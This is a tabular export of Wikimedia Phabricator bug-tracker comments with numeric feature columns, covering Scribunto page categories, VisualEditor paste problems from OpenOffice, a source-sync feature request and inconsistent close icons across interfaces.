2124423,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"This change strikes me as enabling communication between separate templates, something which has been a no-no in this extension.",,,1684256661,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,4.782608695652174,0.9565217391304348,"This change strikes me as enabling communication between separate templates, something which has been a no-no in this extension."
2122842,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Change 919459 had a related patch set uploaded (by SD0001; author: SD0001):
%%%[mediawiki/extensions/Scribunto@master] Expose page categories to Lua%%%
https://gerrit.wikimedia.org/r/919459",,,1684006243,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,514,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.294117647058823,0.8529411764705882,"Change 919459 had a related patch set uploaded (by SD0001; author: SD0001):
%%%[mediawiki/extensions/Scribunto@master] Expose page categories to Lua%%%
GERRIT_URL"
2114842,Scribunto/Lua should have a built-in method for retrieving categories used on a page,There's https://www.mediawiki.org/wiki/Extension:CategoryToolbox but I don't how suitable the code is.,,,1682931513,,PHID-USER-3ffkgjb7rllliblvxdy2,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,513,,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,There's URL but I don't how suitable the code is.
233314,Scribunto/Lua should have a built-in method for retrieving categories used on a page,%%%*** Bug 59111 has been marked as a duplicate of this bug. ***%%%,,,1397790380,,PHID-USER-gljzp3uzec5ukggh6xdk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 59111 has been marked as a duplicate of this bug. ***%%%
233309,Scribunto/Lua should have a built-in method for retrieving categories used on a page,I'd just like to make the explicit suggestion that the categories be exposed be on title objects (see http://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#Title_objects ) as they contain other information about a given page.,,,1397790345,,PHID-USER-gljzp3uzec5ukggh6xdk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.15625,0.9375,I'd just like to make the explicit suggestion that the categories be exposed be on title objects (see URL ) as they contain other information about a given page.
50170,VisualEditor: Support pasting of HTML from external sources,"many + signs

Tested: 

In OpenOffice, create a small table with text in cells a1, a2, b1, b2, c2. 

Copy only the rows of the table. 

Paste into VE. 

* the view immediately in VE is of unusable information and some ""+"" characters apparently indicating cell boundaries. 

Version:1.0StartHTML:0000000155EndHTML:0000000881StartFragment:0000000475EndFragment:0000000864➞➞➞➞➞➞➞➞➞➞➞➞➞a1➞➞➞b1➞➞➞➞➞➞➞➞➞➞a2➞➞➞b2➞➞➞c2➞➞➞

* the view in the ""Review your changes"" panel is of a swath of white space with the contents of the table interspersed.

* User tendency is to copy entire contents of rows, yielding many empty cells.  VE dutifully tracks these empty cells and displays an enormous number of ""+"" symbols in the immediate view and mostly empty space in the ""Review your changes"" view.

* Upon save, no table is in the page when pasting from OpenOffice.

Other anomalous results are reported when pasting from the Apple Pages application.  From another user: 

""...number of cells didn't match the number of columns. Since they don't match, tried to delete the cells in order to recover the blank page, but they won't delete.""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11079}",Low,25.0,1367866200,1385505644.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-4fybw5go6fyidok4tmp7,task_description,resolved,True,c1,1,False,False,False,-8,,1.0,0.0,0.0,0.3333333333333333,1.0,6.333333333333333,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,9.666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,23.666666666666668,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,5.666666666666667,1.6666666666666667,8.0,1.3333333333333333,1.3333333333333333,8.666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,1.3333333333333333,9.666666666666666,7.333333333333333,0.0,3.3333333333333335,0.0,1.3333333333333333,0.0,0.6666666666666666,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,3.669407894736842,0.5332236842105263,"many + signs

Tested: 

In OpenOffice, create a small table with text in cells a1, a2, b1, b2, c2. 

Copy only the rows of the table. 

Paste into VE. 

* the view immediately in VE is of unusable information and some ""+"" characters apparently indicating cell boundaries. 

Version:1.0StartHTML:0000000155EndHTML:0000000881StartFragment:0000000475EndFragment:0000000864➞➞➞➞➞➞➞➞➞➞➞➞➞a1➞➞➞b1➞➞➞➞➞➞➞➞➞➞a2➞➞➞b2➞➞➞c2➞➞➞

* the view in the ""Review your changes"" panel is of a swath of white space with the contents of the table interspersed.

* User tendency is to copy entire contents of rows, yielding many empty cells.  VE dutifully tracks these empty cells and displays an enormous number of ""+"" symbols in the immediate view and mostly empty space in the ""Review your changes"" view.

* Upon save, no table is in the page when pasting from OpenOffice.

Other anomalous results are reported when pasting from the Apple Pages application.  From another user: 

""...number of cells didn't match the number of columns. Since they don't match, tried to delete the cells in order to recover the blank page, but they won't delete.""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11079}"
233073,VisualEditor: Support pasting of HTML from external sources,"Change 86664 merged by jenkins-bot:
Rich paste

https://gerrit.wikimedia.org/r/86664",,,1385500075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,1.0,"Change 86664 merged by jenkins-bot:
Rich paste

GERRIT_URL"
233067,VisualEditor: Support pasting of HTML from external sources,"Change 86664 had a related patch set uploaded by Esanders:
Rich paste

https://gerrit.wikimedia.org/r/86664",,,1381157527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"Change 86664 had a related patch set uploaded by Esanders:
Rich paste

GERRIT_URL"
233060,VisualEditor: Support pasting of HTML from external sources,"(In reply to comment #2)
> I think users will expect that pasting things like tables from other editors
> and sources into VE to more or less Just Work.

That is bug 41193 (and yes, getting that to work would be lovely). This is about corruption of the clipboard from OpenOffice, which is a distinct problem whether or not we get the pasted-formatting working in time for the 'beta'.",,,1367874654,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,2.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,2.0,2.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,2.0,3.0,13.0,0.0,0.0,0.0,2.0,5.0,2.0,3.0,0.0,2.0,14.0,2.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5555555555555554,0.8095238095238095,"(In reply to comment #2)
QUOTE
QUOTE

That is bug 41193 (and yes, getting that to work would be lovely). This is about corruption of the clipboard from OpenOffice, which is a distinct problem whether or not we get the pasted-formatting working in time for the 'beta'."
233050,VisualEditor: Support pasting of HTML from external sources,"
I think users will expect that pasting things like tables from other editors and sources into VE to more or less Just Work.",,,1367867550,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,20.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.08,1.0,"
I think users will expect that pasting things like tables from other editors and sources into VE to more or less Just Work."
233043,VisualEditor: Support pasting of HTML from external sources,"* Editing of table structure isn't exactly supported right now

* I'm curious what OpenOffice puts on the clipboard. It may well be that the root cause is ""OpenOffice puts unreasonable things on the clipboard when copying a table""",,,1367866569,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,11.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.288888888888889,0.7777777777777778,"* Editing of table structure isn't exactly supported right now

* I'm curious what OpenOffice puts on the clipboard. It may well be that the root cause is ""OpenOffice puts unreasonable things on the clipboard when copying a table"""
50080,Sync source and editor like TeXShop,"**Author:** `mstankus`

**Description:**
In TeXShop, you can click on a piece of content (for example,
a word) and choose sync and you are sent directly to the 
part of the source corresponding to that word. It would be great
if that could happen for wikis.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Low,25.0,1367686680,1368010283.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zolq2daof5tqslp44gue,task_description,declined,True,c1,1,False,False,True,-9,,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,11.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.451219512195122,0.6097560975609756,"**Author:** CODE

**Description:**
In TeXShop, you can click on a piece of content (for example,
a word) and choose sync and you are sent directly to the 
part of the source corresponding to that word. It would be great
if that could happen for wikis.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
227737,Sync source and editor like TeXShop,"(In reply to comment #2)
> Write now, you decide what is wrong, click on edit and then
> search through markup for the word was misspelled or phrase
> which needs to be checked. 

This will mostly get fixed by VisualEditor which you can already try out:
http://blog.wikimedia.org/2013/04/25/visualeditor-alpha-in-15-languages/

Closing as WORKSFORME.",,,1368010283,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zolq2daof5tqslp44gue,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,3.0,14.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5277777777777777,0.8333333333333334,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

This will mostly get fixed by VisualEditor which you can already try out:
URL

Closing as WORKSFORME."
227729,Sync source and editor like TeXShop,"**mstankus** wrote:

Write now, you decide what is wrong, click on edit and then
search through markup for the word was misspelled or phrase
which needs to be checked. 

  An alternate approach would be to allow someone to mark 
a word with a mouse, right click, choose ""edit wiki page""
and then have the computer open the editor AND move
the cursor to the part of the markup relevant to that 
word in the text. It looks through the mark up for you
and saves everyone time.",,,1367964649,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zolq2daof5tqslp44gue,task_subcomment,,True,c1,1,False,,,-8,,0.0,1.5,0.0,0.5,0.0,3.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.0,1.0,1.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,15.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,9.0,2.0,3.0,0.0,3.5,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.5,10.0,0.0,0.0,2.0,0.0,2.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5727272727272728,0.7818181818181819,"**mstankus** wrote:

Write now, you decide what is wrong, click on edit and then
search through markup for the word was misspelled or phrase
which needs to be checked. 

  An alternate approach would be to allow someone to mark 
a word with a mouse, right click, choose ""edit wiki page""
and then have the computer open the editor AND move
the cursor to the part of the markup relevant to that 
word in the text. It looks through the mark up for you
and saves everyone time."
227725,Sync source and editor like TeXShop,"I don't know what TeXShop is, so ""like in TeXShop"" is not helpful.
Still I don't understand what is requested here. I click a word in the content of a wiki page (preferably in ""Edit"" mode), and I am send to which source, and why?
Could you come up with a specific example and exact steps to reproduce, plus the current outcome and the expected outcome? Thanks.",,,1367833876,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zolq2daof5tqslp44gue,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,1.0,3.0,7.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,8.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,7.0,5.0,12.0,1.0,6.0,8.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,6.0,10.0,3.0,2.0,5.0,0.0,6.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.441860465116279,0.6511627906976745,"I don't know what TeXShop is, so ""like in TeXShop"" is not helpful.
Still I don't understand what is requested here. I click a word in the content of a wiki page (preferably in ""Edit"" mode), and I am send to which source, and why?
Could you come up with a specific example and exact steps to reproduce, plus the current outcome and the expected outcome? Thanks."
50067,"Inconsistent close icon ""x""  in Wikimedia product interfaces","The close icon as defined by the [[ https://wikimedia.github.io/WikimediaUI-Style-Guide/visual-style_icons.html | WikimediaUI icon principles ]]. OOUI is already featuring the correct icon.

| | Product | Description | Code | Screenshot | Screenshot after
| | -- | -- | -- | -- | --
| {icon check color=green} | OOUI | [[ https://doc.wikimedia.org/oojs-ui/master/demos/?page=icons&theme=wikimediaui&direction=ltr&platform=desktop#widgets-mediawiki-vector-ltr | Uses the correct icon ]] |  | {F9379666} | 
| {icon check color=green} | Post-Edit Feedback popup | Uses the Unicode × glyph with hover behavior | Extension:PostEdit outputs CSS generated content `×` with style rules. | {F7451633} | {F26525706} 
| {icon check color=green} | Recent CentralNotice banners | ""x in a circle"" icon, no `:hover` behavior | Extension:CentralNotice outputs an img tag showing :$wgNoticeCloseButton which defaults to [[https://upload.wikimedia.org/wikipedia/foundation/2/20/CloseWindow19x19.png|CloseWindow19x19.png]] | {F26525761} | 
| - | ~~Visual Editor Feedback dialog~~ | As of 2017-09 not an issue any more => converted to OOUI | | {F9404470} | 
| {icon check color=green} | ULS | ~~Thicker stroke “x” SVG, no :hover behavior~~ | Extension:UniversalLanguageSelector custom `.uls-icon-close` class | {F9362244} | {F9404483}
| {icon check color=green} | Extension:GuidedTour | different icon with different size |  `.guider_close` |  | 
| {icon exclamation-triangle color=red} | Extension:MultimediaViewer | bolder, less contrast; Exempt from amending is the main close icon as it would need a full icon redesign. Will be revisited after T177432 |  | {F10595012} | 
| {icon check color=green} | Extension:GettingStarted | different icon with different size and lighter grey |  `.mw-gettingstarted-cta-close` | {F10172642} | {F10188673}
| {icon check color=green} | Extension:PagePreviews | different icon, bolder and bigger | | {F10318266} | {F10319955}
| {icon check color=green} | Extension:Translate | ~~Similar to ULS, different icon though, as it's minimally smaller in layout~~ | `.grid .tux-message-editor .close` | {F9405760} | 


The differences make WMF wikis feel unpolished.

--------------------------
Original report: 
**Version**: 1.22.0",Low,25.0,1367638620,1517276198.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_description,resolved,True,c1,1,False,False,False,-9,,0.2,0.0,0.0,0.2,0.2,6.6,0.2,0.0,0.2,0.0,1.2,0.0,0.0,0.0,0.0,0.0,0.0,5.8,3.8,0.0,0.2,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.0,0.4,0.0,2.0,2.0,0.4,0.2,0.0,0.0,0.0,0.0,0.2,0.2,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.4,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,2.2,0.6,14.4,0.0,0.4,2.8,0.0,0.0,0.0,0.0,0.8,0.0,0.6,0.0,0.4,3.8,9.2,0.0,0.4,0.0,0.4,0.0,0.2,0.8,0.0,0.4,1.2,0.0,1.8,3.602324973876698,0.5668756530825496,"The close icon as defined by the [[ URL | WikimediaUI icon principles ]]. OOUI is already featuring the correct icon.

| | Product | Description | Code | Screenshot | Screenshot after
| | -- | -- | -- | -- | --
| {icon check color=green} | OOUI | [[ URL | Uses the correct icon ]] |  | {F9379666} | 
| {icon check color=green} | Post-Edit Feedback popup | Uses the Unicode × glyph with hover behavior | Extension:PostEdit outputs CSS generated content CODE with style rules. | {F7451633} | {F26525706} 
| {icon check color=green} | Recent CentralNotice banners | ""x in a circle"" icon, no CODE behavior | Extension:CentralNotice outputs an img tag showing :$wgNoticeCloseButton which defaults to [[URL | {F26525761} | 
| - | ~~Visual Editor Feedback dialog~~ | As of 2017-09 not an issue any more => converted to OOUI | | {F9404470} | 
| {icon check color=green} | ULS | ~~Thicker stroke “x” SVG, no :hover behavior~~ | Extension:UniversalLanguageSelector custom CODE class | {F9362244} | {F9404483}
| {icon check color=green} | Extension:GuidedTour | different icon with different size |  CODE |  | 
| {icon exclamation-triangle color=red} | Extension:MultimediaViewer | bolder, less contrast; Exempt from amending is the main close icon as it would need a full icon redesign. Will be revisited after T177432 |  | {F10595012} | 
| {icon check color=green} | Extension:GettingStarted | different icon with different size and lighter grey |  CODE | {F10172642} | {F10188673}
| {icon check color=green} | Extension:PagePreviews | different icon, bolder and bigger | | {F10318266} | {F10319955}
| {icon check color=green} | Extension:Translate | ~~Similar to ULS, different icon though, as it's minimally smaller in layout~~ | CODE | {F9405760} | 


The differences make WMF wikis feel unpolished.

--------------------------
Original report: 
**Version**: 1.22.0"
1007871,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 389542 **merged** by jenkins-bot:
[mediawiki/extensions/MultimediaViewer@master] Remove special color treatment of close icon on confirmation

[[https://gerrit.wikimedia.org/r/389542]]",,,1517946899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,240,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.314285714285714,0.7714285714285715,"Change 389542 **merged** by jenkins-bot:
[mediawiki/extensions/MultimediaViewer@master] Remove special color treatment of close icon on confirmation

[[GERRIT_URL]]"
1003339,"Inconsistent close icon ""x""  in Wikimedia product interfaces",OH from @RHo: “We can finally close the close icon”,,,1517337678,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,239,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,OH fromSCREEN_NAME: “We can finally close the close icon”
1002999,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376851 **merged** by jenkins-bot:
[mediawiki/extensions/CentralNotice@master] Use consistent close icon

[[https://gerrit.wikimedia.org/r/376851]]
